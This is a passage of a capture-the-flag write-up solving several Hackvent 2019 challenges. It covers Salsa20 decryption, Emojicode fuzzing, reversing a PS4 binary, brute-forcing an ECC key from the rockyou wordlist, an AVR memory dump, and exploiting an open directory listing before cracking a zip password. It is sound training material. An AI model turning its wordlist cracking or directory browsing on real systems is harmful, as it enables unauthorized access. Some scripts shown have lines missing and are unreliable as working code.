05 0x0000c000    12 0x0000c000    12 -rw- 5.__DATA.__nl_symbol_ptr
06 0x0000c00c    24 0x0000c00c    24 -rw- 6.__DATA.__la_symbol_ptr
07 0x0000c024     8 0x0000c024     8 -rw- 7.__DATA.__objc_imageinfo
08 0x0000c02c     4 0x0000c02c     4 -rw- 8.__DATA.__data

[0x0000bda2]> px 100 @ 0x0000bfa8
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x0000bfa8  0320 6346 61b6 3caf aa76 c27e ea00 b59b  . cFa.<..v.~....
0x0000bfb8  fb2f 7097 214f d04c b257 ac29 04ef ee46  ./p.!O.L.W.)...F
0x0000bfc8  7973 0ff4 ec0c 406b fd91 c91f e704 00a8  ys....@k........
0x0000bfd8  adf1 6c63 456a 5ef1 ed9d 7946 9da2 a0b5  ..lcEj^...yF....
0x0000bfe8  496e 7075 7420 796f 7572 2066 6c61 673a  Input your flag:
0x0000bff8  2000 2530 3258 0000 0000 0000 0000 0000   .%02X..........
0x0000c008  0000 0000                                ....
[0x0000bda2]> pc 32 @ 0x0000bfa8
#define _BUFFER_SIZE 32
const uint8_t buffer[32] = {
  0x03, 0x20, 0x63, 0x46, 0x61, 0xb6, 0x3c, 0xaf, 0xaa, 0x76,
  0xc2, 0x7e, 0xea, 0x00, 0xb5, 0x9b, 0xfb, 0x2f, 0x70, 0x97,
  0x21, 0x4f, 0xd0, 0x4c, 0xb2, 0x57, 0xac, 0x29, 0x04, 0xef,
  0xee, 0x46

Using these values we can actually decrypt the flag with the following python script:
#!/usr/bin/env python

from Crypto.Cipher import Salsa20
import struct

n = struct.pack('<Q', 0xb132d0a8e78f4511)
key = ''.join(chr(x) for x in [0x03, 0x20, 0x63, 0x46, 0x61, 0xb6, 0x3c, 0xaf, 0xaa, 0x76,
  0xc2, 0x7e, 0xea, 0x00, 0xb5, 0x9b, 0xfb, 0x2f, 0x70, 0x97,
  0x21, 0x4f, 0xd0, 0x4c, 0xb2, 0x57, 0xac, 0x29, 0x04, 0xef,
  0xee, 0x46])

fl_encrypted = '096CD446EBC8E04D2FDE299BE44F322863F7A37C18763554EEE4C99C3FAD15'.decode('hex')
cipher = Salsa20.new(key=key,nonce=n)
pt = cipher.encrypt(fl_encrypted)

Running the script yields the flag:
root@kali:~/hv19/18# ./decryptFlag.py

The flag is HV19{Danc1ng_Salsa_in_ass3mbly}.

return to overview ⇧

HV19.19 - 🎅

Author: M.
🏁🍇🎶🔤🐇🦁🍟🗞🍰📘🥖🖼🚩🥩😵⛺❗️🥐😀🍉🥞🏁👉️🧀🍎🍪🚀🙋🏔🍊😛🐔🚇🔷🎶📄🍦📩🍋💩⁉️🍄🥜🦖💣🎄🥨📺🥯📽🍖🐠📘👄🍔🍕🐖🌭🍷🦑🍴⛪🤧🌟🔓🔥🎁🧦🤬🚲🔔🕯🥶❤️💎📯🎙🎚🎛📻📱🔋😈🔌💻🐬🖨🖱🖲💾💿🧮🎥🎞🔎💡🔦🏮📔📖🏙😁💤👻🛴📙📚🥓📓🛩📜📰😂🍇🚕🔖🏷💰⛴💴💸🚁🥶💳😎🖍🚎🥳📝📁🗂🥴📅📇📈📉📊🔒⛄🌰🕷⏳📗🔨🛠🧲🐧🚑🧪🐋🧬🔬🔭📡🤪🚒💉💊🛏🛋🚽🚿🧴🧷🍩🧹🧺😺🧻🚚🧯😇🚬🗜👽🔗🧰🎿🛷🥌🎯🎱🎮🎰🎲🏎🥵🧩🎭🎨🧵🧶🎼🎤🥁🎬🏹🎓🍾💐🍞🔪💥🐉🚛🦕🔐🍗🤠🐳🧫🐟🖥🐡🌼🤢🌷🌍🌈✨🎍🌖🤯🐝🦠🦋🤮🌋🏥🏭🗽⛲💯🌁🌃🚌📕🚜🛁🛵🚦🚧⛵🛳💺🚠🛰🎆🤕💀🤓🤡👺🤖👌👎🧠👀😴🖤🔤 ❗️➡️ ㉓ 🆕🍯🐚🔢🍆🐸❗️➡️ 🖍🆕㊷ 🔂 ⌘ 🆕⏩⏩ 🐔🍨🍆❗️ 🐔㉓❗️❗️ 🍇 ⌘ ➡️🐽 ㊷ 🐽 ㉓ ⌘❗️❗️🍉 🎶🔤🍴🎙🦖📺🍉📘🍖📜🔔🌟🦑❤️💩🔋❤️🔔🍉📩🎞🏮🌟💾⛪📺🥯🥳🔤 ❗️➡️ 🅜 🎶🔤💐🐡🧰🎲🤓🚚🧩🤡🔤 ❗️➡️ 🅼 😀 🔤 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔤❗️📇🔪 🆕 🔡 👂🏼❗️🐔🍨🍆❗️🐔🍨👎🍆❗️❗️❗️ ➡️ 🄼 ↪️🐔🄼❗️🙌 🐔🍨🍆❗️🍇🤯🐇💻🔤👎🔤❗️🍉 ☣️🍇🆕🧠🆕🐔🅜❗️❗️➡️ ✓🔂 ⌘ 🆕⏩⏩🐔🍨🍆❗️🐔🅜❗️❗️🍇🐽 ㊷ 🐽 🅜 ⌘❗️❗️ ➡️ ⌃🐽 🄼 ⌘ 🚮🐔🄼❗️❗️➡️ ^💧🍺⌃➖🐔㉓❗️➗🐔🍨👎👍🍆❗️❗️❌^❌💧⌘❗️➡️ ⎈ ↪️ ⌘ ◀ 🐔🅼❗️🤝❎🍺🐽 ㊷ 🐽 🅼 ⌘❗️❗️➖ 🤜🤜 🐔🅜❗️➕🐔🅜❗️➖🐔🄼❗️➖🐔🅼❗️➕🐔🍨👍🍆❗️🤛✖🐔🍨👎👎👎🍆❗️🤛 🙌 🔢⎈❗️❗️🍇 🤯🐇💻🔤👎🔤❗️🍉✍✓ ⎈ ⌘ 🐔🍨👎🍆❗️❗️🍉🔡🆕📇🧠✓ 🐔🅜❗️❗️❗️➡️ ⌘↪️⌘ 🙌 🤷‍♀️🍇🤯🐇💻🔤👎🔤❗️🍉😀🍺⌘❗️🍉 🍉

The challenge description only contains the above unicode smileys. At first it reminded me of the Space Invaders challenge from Hacky Easter 2018. Though there are much more smileys in this challenge. A bit of googling finally revealed that it is actually a program for Emojicode.

Prebuilt binaries of the Emojicode compiler can be downloaded here. After saving the smileys to a file called day19.emojic, we can compile it using emojicodec:
root@kali:~/hv19/19/Emojicode-1.0-beta.1-Linux-x86_64# ./emojicodec ../day19.emojic 
../day19.emojic:1:297: ⚠️  warning: Type is ambiguous without more context.

The compiler creates an ELF file called day19:
root@kali:~/hv19/19# file day19
day19: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=7bf6c5daf4f8a5e185a8db0956a125262dce3132, for GNU/Linux 3.2.0, not stripped

When running the binary a few smileys are displayed and we are prompted to enter something. When for example entering test, we get a negative response (Program panicked):
root@kali:~/hv19/19# ./day19 
 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 
🤯 Program panicked: 👎

My first approach was to reverse the binary created by the Emojicode compiler. Though this did not seem to promise any quick wins. Thus I started to have a look at the Emojicode itself. The documentation is quite patchy, which also didn't make this too easy.

At first let's indent the code. The Emojicode compiler is capable of formating a program by using the option --format:
root@kali:~/hv19/19/Emojicode-1.0-beta.1-Linux-x86_64# ./emojicodec --format ../day19.emojic
root@kali:~/hv19/19/Emojicode-1.0-beta.1-Linux-x86_64# cat ../day19.emojic
🏁 🍇
  🎶🔤🐇🦁🍟🗞🍰📘🥖🖼🚩🥩😵⛺❗️🥐😀🍉🥞🏁👉️🧀🍎🍪🚀🙋🏔🍊😛🐔🚇🔷🎶📄🍦📩🍋💩⁉️🍄🥜🦖💣🎄🥨📺🥯📽🍖🐠📘👄🍔🍕🐖🌭🍷🦑🍴⛪🤧🌟🔓🔥🎁🧦🤬🚲🔔🕯🥶❤️💎📯🎙🎚🎛📻📱🔋😈🔌💻🐬🖨🖱🖲💾💿🧮🎥🎞🔎💡🔦🏮📔📖🏙😁💤👻🛴📙📚🥓📓🛩📜📰😂🍇🚕🔖🏷💰⛴💴💸🚁🥶💳😎🖍🚎🥳📝📁🗂🥴📅📇📈📉📊🔒⛄🌰🕷⏳📗🔨🛠🧲🐧🚑🧪🐋🧬🔬🔭📡🤪🚒💉💊🛏🛋🚽🚿🧴🧷🍩🧹🧺😺🧻🚚🧯😇🚬🗜👽🔗🧰🎿🛷🥌🎯🎱🎮🎰🎲🏎🥵🧩🎭🎨🧵🧶🎼🎤🥁🎬🏹🎓🍾💐🍞🔪💥🐉🚛🦕🔐🍗🤠🐳🧫🐟🖥🐡🌼🤢🌷🌍🌈✨🎍🌖🤯🐝🦠🦋🤮🌋🏥🏭🗽⛲💯🌁🌃🚌📕🚜🛁🛵🚦🚧⛵🛳💺🚠🛰🎆🤕💀🤓🤡👺🤖👌👎🧠👀😴🖤🔤❗️ ➡️ ㉓
  🆕🍯🐚🔢🍆🐸❗️➡️ 🖍🆕 ㊷
  🔂 ⌘ 🆕⏩⏩ 🐔🍨 🍆❗️🐔㉓❗️❗️ 🍇
    ⌘ ➡️ 🐽㊷ 🐽㉓ ⌘❗️❗️

  🎶🔤🍴🎙🦖📺🍉📘🍖📜🔔🌟🦑❤️💩🔋❤️🔔🍉📩🎞🏮🌟💾⛪📺🥯🥳🔤❗️ ➡️ 🅜
  🎶🔤💐🐡🧰🎲🤓🚚🧩🤡🔤❗️ ➡️ 🅼
  😀🔤 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔤❗️
  📇🔪🆕🔡👂🏼❗️ 🐔🍨 🍆❗️🐔🍨 👎 🍆❗️❗️❗️ ➡️ 🄼
  ↪️ 🐔🄼❗️ 🙌 🐔🍨 🍆❗️ 🍇
    🤯🐇💻 🔤👎🔤❗️

  ☣️ 🍇
    🆕🧠🆕 🐔🅜❗️❗️ ➡️ ✓
    🔂 ⌘ 🆕⏩⏩ 🐔🍨 🍆❗️🐔🅜❗️❗️ 🍇
      🐽㊷ 🐽🅜 ⌘❗️❗️ ➡️ ⌃
      🐽🄼 ⌘ 🚮 🐔🄼❗️❗️ ➡️ ^
      💧 🍺⌃ ➖ 🐔㉓❗️ ➗ 🐔🍨 👎 👍 🍆❗️❗️ ❌ ^ ❌ 💧⌘❗️ ➡️ ⎈
      ↪️ ⌘ ◀ 🐔🅼❗️ 🤝 ❎ 🍺🐽㊷ 🐽🅼 ⌘❗️❗️ ➖ 🤜🐔🅜❗️ ➕ 🐔🅜❗️ ➖ 🐔🄼❗️ ➖ 🐔🅼❗️ ➕ 🐔🍨 👍 🍆❗️🤛 ✖ 🐔🍨 👎 👎 👎 🍆❗️ 🙌 🔢⎈❗️❗️ 🍇
        🤯🐇💻 🔤👎🔤❗️

      ✍✓ ⎈⌘🐔🍨 👎 🍆❗️❗️

    🔡🆕📇🧠 ✓🐔🅜❗️❗️❗️ ➡️ ⌘
    ↪️ ⌘ 🙌 🤷‍♀️ 🍇
      🤯🐇💻 🔤👎🔤❗️

    😀 🍺⌘❗️


The indented code can be read more easily. The following line seems to output the smileys, which we see when running the binary:
  😀🔤 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 🔤❗️

Also there are multiple occurrences of the sequence, which seems to trigger the negative response (Program panicked):
🤯🐇💻 🔤👎🔤❗️

By adding an output (in this case a chicken) before the panic sequence, we can determine which one is actually triggered:
😀🔤 🐔 🔤❗️
🤯🐇💻 🔤👎🔤❗️

In order to quickly run the adjusted program, we can use tio.run. The indented code raises an error when trying to run it, but the adjustment can be done in the original code:

As we can see the output contains the chicken we added before the first panic sequence. This means that this is the one, which caused the program to terminate.

When providing an input to the program, which can be done by simply entering it beneath the Input section, the chicken is not displayed anymore:

This means we passed the first panic sequence. Obviously this part of the code checked if there is any input at all.

Now let's move the chicken to the second panic sequence in order to determine if this is the one, which terminates the program now:

Now we can see that the chicken is displayed again. This means we hit the second panic sequence.

When reviewing the indented code again, we can see that this second panic sequence is nested in a loop (🔂):
    🔂 ⌘ 🆕⏩⏩ 🐔🍨 🍆❗️🐔🅜❗️❗️ 🍇
      🐽㊷ 🐽🅜 ⌘❗️❗️ ➡️ ⌃
      🐽🄼 ⌘ 🚮 🐔🄼❗️❗️ ➡️ ^
      💧 🍺⌃ ➖ 🐔㉓❗️ ➗ 🐔🍨 👎 👍 🍆❗️❗️ ❌ ^ ❌ 💧⌘❗️ ➡️ ⎈
      ↪️ ⌘ ◀ 🐔🅼❗️ 🤝 ❎ 🍺🐽㊷ 🐽🅼 ⌘❗️❗️ ➖ 🤜🐔🅜❗️ ➕ 🐔🅜❗️ ➖ 🐔🄼❗️ ➖ 🐔🅼❗️ ➕ 🐔🍨 👍 🍆❗️🤛 ✖ 🐔🍨 👎 👎 👎 🍆❗️ 🙌 🔢⎈❗️❗️ 🍇
        🤯🐇💻 🔤👎🔤❗️

We can assume that this loop iterates over our input. In order to determine how often the loop iterates, let's move the output to the beginning of the loop body:

My hope was that the program is gradually checking the input within the loop, so that we can fuzz it byte by byte. If the beginning of our input matches, the loop should not terminate (panic sequence) and make another iteration. We could recognize this by the amount of chickens display before the termination. Unfortunately the first fuzzing attempts (fuzzing 1 and 2 bytes) did not even lead to a second loop iteration. Thus I tried to enter an unicode smiley as the input:

Now the loop actually did three iterations! Seems we are on the right way. So let's fuzz the program with unicode:
#!/usr/bin/env python

from pwn import *
context.log_level = 21 # disable log

utf32 = 0x0001f000

while True:
  u = unichr(utf32).encode('utf-8')
  io = process('./loop_fuzz')
  r = io.recv(1000)
  print(str(len(r.split('\n'))) + ' ('+u.encode('hex')+')')
  utf32 += 1

The script starts at utf-32 0x0001f000, inputs the unicode character as utf-8 to the program using pwntools and displays the amount of lines printed by the program. This way we can determine, which unicode character produces the highest amount of loop iterations:
root@kali:~/hv19/19# ./fuzz_unicode.py | tee fuzz_out.txt
6 (f09f8080)
6 (f09f8081)
6 (f09f8082)
6 (f09f8083)
6 (f09f8084)
6 (f09f8085)
6 (f09f8086)
6 (f09f8087)

One unicode character produces an output of 29 lines:
root@kali:~/hv19/19# cat fuzz_out.txt | sort -rn | head
29 (f09f9491)
7 (f09f94bf)
7 (f09f94be)
7 (f09f94bd)
7 (f09f94bc)
7 (f09f94bb)
7 (f09f94ba)
7 (f09f94b9)
7 (f09f94b8)
7 (f09f94b7)

Wonder what this unicode character is?
root@kali:~/hv19/19# python -c 'print("f09f9491".decode("hex"))'

Well. This makes sense. Let's see the full output of the program entering the key:
root@kali:~/hv19/19# ./day19 
 🔒 ➡️ 🎅🏻⁉️ ➡️ 🎄🚩 

In retrospect we could have guessed this. But this way it was quite more fun 🙂

The flag is HV19{*<|:-)____\o/____;-D}.

return to overview ⇧

HV19.20 - i want to play a game

Author: hardlock
Santa was spying you on Discord and saw that you want something weird and obscure to reverse?

your wish is my command.


The provided zip archive contains an amd64 COFF binary:
root@kali:~/hv19/20# unzip e22163c8-e0a4-475b-aef5-6a8aba51fd93.zip 
Archive:  e22163c8-e0a4-475b-aef5-6a8aba51fd93.zip
  inflating: game                    
root@kali:~/hv19/20# file game 
game: Intel amd64 COFF object file, no line number info, not stripped, 26 sections, symbol offset=0xb50, 99 symbols

Before analyzing the binary, it's usually worth running strings on the file:
root@kali:~/hv19/20# strings game 
GCC: (GNU) 7.4.0

There are a few interesting strings. sendflag seems juicy for obvious reasons. The string /mnt/usb0/PS4UPDATE.PUP in combination with the architecture of the binary reassures that this is a PlayStation 4 binary. The string f86d4f9d2c049547bd61f942151ffb55 seems to be a MD5 hash. When googling the value we can find this page, which provides a PS4 firmware (505Retail.PUP). The MD5 hash of the firmware image is exactly f86d4f9d2c049547bd61f942151ffb55.

With this background knowledge, let's have a look at the binary using ghidra. There is only a single function called _main:

At the beginning of the function a few initialization functions are called. After this a file is opened in order to calculate the MD5 hash using the functions MD5Init, MD5Update and MD5Final. The reference to the filename being opened seems to be not correctly decompiled by ghidra. Though we have already seen the filename /mnt/usb0/PS4UPDATE.PUP within the binary. After calculating the MD5 hash, the hash is stored in a string using sprintf. This string is then compared to a static string using strcmp. Again we notice that the reference doesn't seem to be correct, though we can make the quite obvious assumption, that the hash is compared to the MD5 hash we already found: f86d4f9d2c049547bd61f942151ffb55. Only if the MD5 hash of the file matches this hash, the execution continues. This means that the file in question is actually the PS4 firmware we found previously (505Retail.PUP). Let's further inspect the decompilation:

If the hash matches, 0x1a bytes are copied from a static location to a stack buffer. By inspecting the .rdata_3 section of the binary using radare2, we can see the already referenced values (filename, format string and MD5 hash) and additional 0x1a bytes at the beginning of the section. These are obviously the bytes, which are copied to the stack buffer:
[0x00000439]> iS
Nm Paddr       Size Vaddr      Memsz Perms Name
00 0x00000424   752 0x00000424   752 -r-x .text_0
01 0x00000000     0 0x00000000     0 -rw- .data_1
02 0x00000000     0 0x00000000     0 -rw- .bss_2
03 0x00000714   176 0x00000714   176 -r-- .rdata_3

[0x00000439]> px 300 @ 0x00000714
- offset -   0 1  2 3  4 5  6 7  8 9  A B  C D  E F  0123456789ABCDEF
0x00000714  ce55 954e 38c5 89a5 1b6f 5e25 d21d 2a2b  .U.N8....o^%..*+
0x00000724  5e7b 3914 8ed0 f0f8 f8a5 006c 6962 6b65  ^{9........libke
0x00000734  726e 656c 2e73 7072 7800 7363 654b 6572  rnel.sprx.sceKer
0x00000744  6e65 6c47 6574 4964 5073 0073 6365 4b65  nelGetIdPs.sceKe
0x00000754  726e 656c 4765 744f 7065 6e50 7349 6446  rnelGetOpenPsIdF
0x00000764  6f72 5379 7374 656d 0072 6200 2f6d 6e74  orSystem.rb./mnt
0x00000774  2f75 7362 302f 5053 3455 5044 4154 452e  /usb0/PS4UPDATE.
0x00000784  5055 5000 2530 3278 0000 0000 0000 0000  PUP.%02x........
0x00000794  6638 3664 3466 3964 3263 3034 3935 3437  f86d4f9d2c049547
0x000007a4  6264 3631 6639 3432 3135 3166 6662 3535  bd61f942151ffb55
0x000007b4  0000 0000 0000 0000 0000 0000 0000 0000  ................
0x000007c4  4743 433a 2028 474e 5529 2037 2e34 2e30  GCC: (GNU) 7.4.0
0x000007d4  0000 0000 0000 0000 0000 0000 0000 0000  ................

Further following the decompiled output in ghidra we can see a variable (lVar8) is initialized with the value 0x1337 and the same file as before is opened. After this a loop is entered, which sets the file position indicator to the value of lVar8 using fseek and reads 0x1a bytes at this position. After this another loop is entered, which iterates over the 0x1a bytes of the stack buffer XORing every byte with the next byte read from the file. At the end of the outer loop, the value of lVar8 is increased by 0x1337. The outer loop terminates if the value reaches 0x1714908. After this the stack buffer seems to be send over the network. Since we have enough information at this point, let's recreate the steps carried out by the code in python:
#!/usr/bin/env python

# read file content
file_content = open('505Retail.PUP').read()

# 0x1a bytes from .rdata_3
flag = list('ce55954e38c589a51b6f5e25d21d2a2b5e7b39148ed0f0f8f8a5'.decode('hex'))

lVar8 = 0x1337
while (lVar8 != 0x1714908):
  for lVar9 in range(0x1a):
    flag[lVar9] = chr(ord(flag[lVar9]) ^ ord(file_content[lVar8+lVar9]))
  lVar8 += 0x1337

flag = ''.join(flag)

Running the script prints the flag:
root@kali:~/hv19/20# ./rev.py 

The flag is HV19{C0nsole_H0mebr3w_FTW}.

return to overview ⇧

HV19.21 - Happy Christmas 256

Author: hardlock
Santa has improved since the last Cryptmas and now he uses harder algorithms to secure the flag.

This is his public key:
X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f

Y: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c
To make sure this is safe, he used the NIST P-256 standard.

But we are lucky and an Elve is our friend. We were able to gather some details from our whistleblower:
  • Santa used a password and SHA256 for the private key (d)
  • His password was leaked 10 years ago
  • The password is length is the square root of 256
  • The flag is encrypted with AES256
  • The key for AES is derived with pbkdf2_hmac, salt: "TwoHundredFiftySix", iterations: 256*256*256

Phew - Santa seems to know his business - or can you still recover this flag?

We can follow the description line by line to recover the flag.

The first information we get is the following:
  • NIST P-256
  • X: 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
  • Y: 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c
Accordingly NIST P-256 with the above mentioned public key was used. We don't know the private key (d) yet:
from Crypto.PublicKey import ECC

x = 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
y = 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c
d = ???
ECC.construct(curve='NIST P-256',point_x=x,point_y=y,d=d)

The next information we get regards the unknown private key (d):
  • Santa used a password and SHA256 for the private key (d)
  • His password was leaked 10 years ago
  • The password is length is the square root of 256
The mentioned leak is probably the famous rockyou.txt. This is narrowed down by stating that the length of the password is the square root of 256 = 16. This password has been hashed using SHA256, which was then used as the private key d:
wl = '/usr/share/wordlists/rockyou.txt'
words = open(wl).read().split('\n')

for word in words:
  if (len(word) != 16): continue
  m_sha256 = hashlib.sha256()
  d = int(m_sha256.hexdigest(), 16)

At this point we already have enough information to recover the password. Surely there are a lot of passwords with the length 16 in the rockyou.txt, but the construction of the ECC key will only succeed if the public key (x and y) matches the private key (d). This means if the ECC key can be constructed successfully, we got the correct private key / password.

The last information the description contains is the following:
  • The flag is encrypted with AES256
  • The key for AES is derived with pbkdf2_hmac, salt: "TwoHundredFiftySix", iterations: 256*256*256
  • Encryted flag: Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0=
Accordingly we only have to calculate the pbkdf2_hmac with the above mentioned settings. The result is an AES key, which can be used to decrypt the flag:
aes_key = hashlib.pbkdf2_hmac('sha256', word, 'TwoHundredFiftySix', 256*256*256)
cipher = AES.new(aes_key, AES.MODE_ECB)
flag = cipher.decrypt(flag_encr)

Summing this all up in a full script:
#!/usr/bin/env python

from Crypto.PublicKey import ECC
from Crypto.Cipher import AES
import hashlib

wl = '/usr/share/wordlists/rockyou.txt'
words = open(wl).read().split('\n')
flag_encr = 'Hy97Xwv97vpwGn21finVvZj5pK/BvBjscf6vffm1po0='.decode('base64')
x = 0xc58966d17da18c7f019c881e187c608fcb5010ef36fba4a199e7b382a088072f
y = 0xd91b949eaf992c464d3e0d09c45b173b121d53097a9d47c25220c0b4beb943c

for word in words:
  if (len(word) != 16): continue
    m_sha256 = hashlib.sha256()
    d = int(m_sha256.hexdigest(), 16)
    ECC.construct(curve='NIST P-256',point_x=x,point_y=y,d=d)
  except: continue
  print('got password: ' + word)
  print('calculating AES key ...')
  aes_key = hashlib.pbkdf2_hmac('sha256', word, 'TwoHundredFiftySix', 256*256*256)
  print('AES key: ' + aes_key.encode('hex'))
  cipher = AES.new(aes_key, AES.MODE_ECB)
  flag = cipher.decrypt(flag_encr)

Running it yields the flag:
root@kali:~/hv19/21# ./craxxor.py
got password: santacomesatxmas
calculating AES key ...
AES key: eb1e0442ca6566e5d687740d246caea6db3b2851f774140d153c848d59515705

The flag is HV19{sry_n0_crypt0mat_th1s_year}.

return to overview ⇧

HV19.22 - The command ... is lost

Author: inik
Santa bought this gadget when it was released in 2010. He did his own DYI project to control his sledge by serial communication over IR. Unfortunately Santa lost the source code for it and doesn't remember the command needed to send to the sledge. The only thing left is this file: thecommand7.data

Santa likes to start a new DYI project with more commands in January, but first he needs to know the old command. So, now it's on you to help out Santa.

The provided file is an Intel HEX file for an arduino:
root@kali:~/hv19/22# cat f.txt

We can use AVR Studio 4 to disassemble the binary.

One very flashy region within the memory dump should catch our eye:

The memory holds an alphabet containing the following letters: 0139HSV_acdghlmnrtxy{}. Obviously this is used for the flag since it contains all the necessary characters (HV19{}).

With this in mind, let's get an overview of the disassembly output. We should especially look out for references to the alphabet.

Scrolling over the disassembly, the following part seems to be interesting:

These instructions load data from memory and store it at another address. What is especially notable here is that the addresses from which the data is loaded sometimes repeat like 0x102, which is used three times in the above screenshot. The addresses at which the data is stored seem to be used uniquely. This sounds exactly like an alphabet being used to create a string within another memory region. Accordingly let's write down the mapping:
root@kali:~/hv19/22# cat mapping
102     134
114     11b
111     12a
102     125
100     13c
102     122
113     11e
112     138
110     13d
102     12d
102     128
111     139
10f     13e
107     13a
10d     121
107     131
107     12e
10a     123
103     11a
102     13f
106     118
110     140
10b     124
10e     127
108     12f
115     141
111     130
107     11f
102     137
10f     136
102     129
10e     12c
107     126
104     11c
101     119
107     135
104     117
105     120
10c     133
107     12b
102     11d

According to our assumption the first value is an index into the alphabet and the second value is the destination address for the corresponding character of the alphabet. The smallest index used is 0x100 and the smallest destination address is 0x117. The following python script iterates over the mapping and inserts the referenced character from the alphabet at the corresponding position within the destination string:
#!/usr/bin/env python

alpha = '0139HSV_acdghlmnrtxy{}'

lines = open('mapping').read().split('\n')[:-1]
flag = [' '] * 50

for line in lines:
  values = line.split('\t')
  idx = int(values[0], 16) - 0x100
  dst = int(values[1], 16) - 0x117
  flag[dst] = alpha[idx]


Running the script prints the flag, although two characters are missing:
root@kali:~/hv19/22# ./flag.py
HV19{H3y_Sl3dg3_m33t_m3_at_ h3_n3xt_ 0rn3r}

Two characters are missing because the following two load/store sequences contain a zero destination address / index:

The first sequence loads the letter 'c' (0x109), which obviously is supposed to be stored at 0x13b. Also the missing character supposed to be stored at 0x132 is obviously the letter 't'.

Thus the flag is HV19{H3y_Sl3dg3_m33t_m3_at_th3_n3xt_c0rn3r}.

return to overview ⇧

HV19.23 - Internet Data Archive

Author: M.
Today's flag is available in the Internet Data Archive (IDA).


The provided link leads to the Internet Data Archive. We can enter a username and select different challenges from the past. There is also a disabled flag checkbox:

After submitting the request a one-time password is displayed and we can download our archive:

The archive is a zip file, which contains the challenges we selected:
root@kali:~/hv19/23# wget http://whale.hacking-lab.com:23023/tmp/bobby-data.zip
--2019-12-28 11:02:11--  http://whale.hacking-lab.com:23023/tmp/bobby-data.zip
Resolving whale.hacking-lab.com (whale.hacking-lab.com)...
Connecting to whale.hacking-lab.com (whale.hacking-lab.com)||:23023... connected.
HTTP request sent, awaiting response... 200 OK
Length: 47074 (46K) [application/zip]
Saving to: ‘bobby-data.zip’

bobby-data.zip                100%[=================================================>]  45.97K  --.-KB/s    in 0.06s

2019-12-28 11:02:11 (803 KB/s) - ‘bobby-data.zip’ saved [47074/47074]

root@kali:~/hv19/23# file bobby-data.zip
bobby-data.zip: Zip archive data, at least v2.0 to extract
root@kali:~/hv19/23# zipinfo bobby-data.zip
Archive:  bobby-data.zip
Zip file size: 47074 bytes, number of entries: 2
-rw-rw-rw-  6.3 unx    46565 Bx u099 19-Sep-21 13:35 ball15.png
-rw-rw-rw-  6.3 unx      727 Bx u099 19-Sep-21 13:25 cake.txt
2 files, 47292 bytes uncompressed, 46796 bytes compressed:  1.0%
The archive can be uncompressed/decrypted using the provided one-time password:
root@kali:~/hv19/23# 7z x bobby-data.zip

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs Intel(R) Celeron(R) CPU N3450 @ 1.10GHz (506C9),ASM,AES-NI)

Scanning the drive for archives:
1 file, 47074 bytes (46 KiB)

Extracting archive: bobby-data.zip
Path = bobby-data.zip
Type = zip
Physical Size = 47074

Enter password (will not be echoed): (Sw6q4QJmvBwv)
Everything is Ok

Files: 2
Size:       47292
Compressed: 47074

The link to our archive looks like this: http://whale.hacking-lab.com:23023/tmp/bobby-data.zip. When simply browsing to http://whale.hacking-lab.com:23023/tmp/ we can see that directory listing is enabled for this folder:

Browsing through the uploaded files we can spot a file with a much older last modified timestamp:

This archive actually contains the flag:
root@kali:~/hv19/23# wget http://whale.hacking-lab.com:23023/tmp/Santa-data.zip
--2019-12-28 11:10:05--  http://whale.hacking-lab.com:23023/tmp/Santa-data.zip
Resolving whale.hacking-lab.com (whale.hacking-lab.com)...
Connecting to whale.hacking-lab.com (whale.hacking-lab.com)||:23023... connected.
HTTP request sent, awaiting response... 200 OK
Length: 349592 (341K) [application/zip]
Saving to: ‘Santa-data.zip’

Santa-data.zip                100%[=================================================>] 341.40K  --.-KB/s    in 0.1s

2019-12-28 11:10:06 (2.34 MB/s) - ‘Santa-data.zip’ saved [349592/349592]

root@kali:~/hv19/23# zipinfo Santa-data.zip
Archive:  Santa-data.zip
Zip file size: 349592 bytes, number of entries: 6
-rw-rw-rw-  6.3 unx       37 Bx u099 19-Sep-22 16:31 flag.txt
-rw-rw-rw-  6.3 unx   120979 Bx u099 19-Aug-04 09:53 pearl.png
-rw-rw-rw-  6.3 unx    46565 Bx u099 19-Sep-21 15:35 ball15.png
-rw-rw-rw-  6.3 unx      727 Bx u099 19-Sep-21 15:25 cake.txt
-rw-rw-rw-  6.3 unx   183606 Bx u099 18-Dec-27 18:14 blindball.png
-rw-rw-rw-  6.3 unx     2560 Bx u099 19-Sep-22 00:49 GoodOldTimes.exe
6 files, 354474 bytes uncompressed, 348782 bytes compressed:  1.6%
Unfortunately we don't know the corresponding one-time password.

The abbreviation for the website (the website's title is even called IDA PRO) doesn't seem to be a coincidence. A little bit of googling reveals this blog post, which describes how to generate an IDA Pro (Interactive Disassembler) installation password. As it happens the charset for the one-time password seems to be exactly the same as well as the password length.

The mentioned blog post provides a perl script, which generates installation passwords. In order to do this the script initializes the PRNG with a seed (srand) and then generates 12 random numbers modulo 54 which are used as an index into the alphabet being used (abcdefghijkmpqrstuvwxyzABCDEFGHJKLMPQRSTUVWXYZ23456789).

The following solution is probably not the most sophisticated one since the internal details of the implementation are not taken into account, but it simply worked 🙂 Thanks to Tyrox for giving me a good hint on this one.

The previously mentioned perl script uses perl to generate the one-time passwords and is thus using perl's PRNG. The challenge's website is using PHP. Thus the assumption that it is using the PHP PRNG to generate the one-time passwords is not that far-off. If we rebuilt the mentioned perl script in PHP with the appropriate PRNG we might be able to crack santa's zip archive.

At first let's create a hash from the zip archive which can be processed by john:
